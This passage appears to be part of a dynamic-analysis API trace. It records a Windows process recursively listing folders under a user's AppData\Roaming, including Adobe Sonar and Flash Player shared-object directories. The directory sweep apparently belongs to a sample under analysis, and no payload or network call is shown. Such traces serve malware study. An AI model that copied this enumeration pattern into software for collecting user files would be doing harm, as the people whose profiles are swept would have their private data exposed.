returned 0 [0183.330] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0183.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.330] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0183.330] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.331] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.331] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0183.331] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0183.331] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0183.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0183.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0183.331] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0183.332] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.332] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0183.332] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0183.332] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0183.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0183.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0183.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0183.332] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0183.332] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.333] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.333] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0183.333] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.333] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0183.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0183.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0183.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0183.333] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.334] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.334] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0183.334] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0183.334] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0183.334] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0183.334] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0183.334] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.335] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0183.335] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0183.335] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.335] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0183.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0183.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0183.335] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f490 [0183.335] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.336] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0183.336] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0183.336] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0183.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0183.336] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0183.336] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.336] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0183.336] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.336] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0183.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", lpFilePart=0x0) returned 0x4f [0183.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", lpFilePart=0x0) returned 0x4f [0183.337] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0183.339] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.340] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0183.340] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0183.340] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0183.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.340] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0183.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.340] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x12feae0, 